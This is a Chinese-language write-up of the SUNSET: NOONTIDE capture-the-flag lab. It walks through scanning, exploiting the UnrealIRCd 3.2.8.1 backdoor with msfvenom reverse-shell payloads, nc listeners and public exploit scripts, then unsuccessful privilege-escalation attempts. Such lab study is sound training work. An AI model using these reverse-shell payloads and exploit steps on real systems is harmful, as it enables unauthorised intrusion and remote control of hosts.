打靶思路
资产发现
主机发现
服务发现
漏洞发现(获取权限)
irc服务
提升权限
server用户
sudo
suid
cron
内核提权
信息收集
1、资产发现
1.1、主机发现
本次靶场SUNSET: NOONTIDE[1]指定IP,不涉及主机发现过程。
1.2、服务发现
使用命令sudo -u root 172.16.33.78 -n -Pn -p- --reason -sV -sC -O
,发现主机开放的端口、提供的服务、使用的组件、组件的版本。
开放的端口 | 提供的服务 | 使用的组件 | 组件的版本 |
6667/tcp | irc | UnrealIRCd | ? |
6697/tcp | irc | UnrealIRCd | ? |
8067/tcp | irc | UnrealIRCd | ? |
- | os | ? | ? |
2、漏洞发现(获取权限)
2.1、irc服务
0x01
主机只使用UnrealIRCd组件提供irc服务,看来要么从这突破,要么放弃。使用命令searchsploit UnrealIRCd
,发现3.2.8.1
版本的UnrealIRCd组件存在RCE漏洞。
查看Metasploitable2系列练习-漏洞利用之UnrealIRCd[2],得知可以使用hexchat
查看UnrealIRCd组件的版本。使用命令sudo apt-get install -y hexchat
安装hexchat,使用命令hexchat 172.16.33.78
连接irc服务,发现UnrealIRCd组件的版本刚好就是存在RCE漏洞的3.2.8.1。
0x02
使用命令searchsploit -m 13853
将EXP拷贝到当前目录。
使用命令msfvenom -p cmd/unix/reverse_perl LHOST=10.8.0.110 LPORT=4444 -f raw
创建perl环境的Payload。
使用命令vim 13853.pl
将Payload添加到EXP中,注意引号的转义和结尾的分号。
使用命令nc -nvlp 4444
监听反弹shell,使用命令perl 13853.pl 172.16.33.78 <端口> 1
利用RCE漏洞发起反弹shell,均未获得反弹shell,难道目标机器上没有perl环境?
0x03
使用命令msfvenom -p cmd/unix/reverse_bash LHOST=10.8.0.110 LPORT=4444 -f raw
创建bash环境的Payload。
使用命令vim 13853.pl
将Payload添加到EXP中,注意引号的转义和结尾的分号。
使用命令nc -nvlp 4444
监听反弹shell,使用命令perl 13853.pl 172.16.33.78 <端口> 2
利用RCE漏洞发起反弹shell,均未获得反弹shell,难道是EXP不行?
0x04
网上找到EXPRanger11Danger/UnrealIRCd-3.2.8.1-Backdoor/exploit.py[3],使用命令vim exploit.py
修改本地监听的IP和端口后,使用命令python3 exploit.py -payload <脚本语言> <目标IP> <目标端口>
构造命令进行利用,最终使用python3 exploit.py -payload bash 172.16.33.78 6697
成功获得反弹shell。
0x05
网上找到EXPgeek-repo/UnrealIRCd-3.2.8.1/poc.py[4],使用命令vim poc.py
修改源目IP端口后,构造命令python2 poc.py
进行利用,最终成功获得server
用户的反弹shell。
3、提升权限
首先使用命令which python
和which python3
发现有Python3环境,然后使用python3 -c 'import pty; pty.spawn("/bin/bash")'
获得交换式shell。
3.1、server用户
3.1.1、sudo
使用命令sudo -l
查看当前用户能以谁的权限执行什么命令,发现不存在sudo命令。使用命令which sudo
确认确实不存在。
3.1.2、suid
使用命令find / -perm -u=s -type f -ls 2>/dev/null
查看哪些命令在执行时会以命令属主的权限执行,发现还挺多。逐个在GTFOBins[5]查询是否可用于提权,发现都不行。
3.1.3、cron
使用命令find /var/spool/cron/ -type f -ls 2>/dev/null
查看定时任务,发现没有。使用命令find /var/spool/cron/ -type f -ls
不隐藏报错,发现是没有查看权限。
使用命令find /etc/*cron* -type f -ls
查看定时任务,发现还挺多。使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txt
和grep '\*' /tmp/cron.txt
查看定时任务内容,未发现有引用当前用户具有read和write权限的命令或脚本。
使用命令find / -perm -o=rw ! -path "/proc/*" -type f -ls 2>/dev/null
查看other用户具有read和write权限的命令或脚本,发现有一些,但未发现有可能被定时任务引用的迹象。
3.1.4、内核提权
使用命令uname -r
获取系统内核版本4.19.0
,使用命令cat /etc/*release
获取系统发行版本Debian Linux 10
。
使用命令searchsploit 4. Debian Linux 10
,未发现存在本地提权漏洞。
3.1.5、信息收集
使用命令find /root/ -type f -ls 2>/dev/null
查看特权用户目录下的文件,无收获。使用命令find /home/ ! -path "/home/server/irc/*" -type f -ls 2>/dev/null
查看普通用户目录下的文件,无收获。使用命令find /tmp/ -type f -ls 2>/dev/null
查看临时目录下的文件,无收获。
查看irc服务的配置文件和日志文件,最终在/home/server/irc/Unreal3.2/ircd.log
中发现连接记录Connect - root!root@192.168.100.139
,疑似获得账户密码root/root
,不过使用命令su root
切换到root账户时却报错,看来密码被改过了。但是查看WriteUp,确实又是使用账户密码root/root
获得提权的,看来这靶机有问题呀。
3.1.6、使用工具
靶机使用命令nc -nvlp 4444 > /tmp/linpeas.sh
接收文件,本地使用命令nc -nv 172.16.33.78 4444 < linpeas.sh
发送文件后使用命令Ctrl+C
关闭连接,靶机使用命令chmod +x /tmp/linpeas.sh
赋予脚本执行权限后使用命令/tmp/linpeas.sh
执行脚本。逐个查看脚本报告,未发现可以提权的漏洞,提权失败。
参考资料
[1]
SUNSET: NOONTIDE: https://www.vulnhub.com/entry/sunset-noontide,531/
[2]Metasploitable2系列练习-漏洞利用之UnrealIRCd: https://chujian521.github.io/blog/2020/04/28/Metasploitable2系列练习-漏洞利用之UnrealIRCd/
[3]Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/exploit.py: https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/blob/master/exploit.py
[4]geek-repo/UnrealIRCd-3.2.8.1/poc.py: https://github.com/geek-repo/UnrealIRCd-3.2.8.1
[5]GTFOBins: https://gtfobins.github.io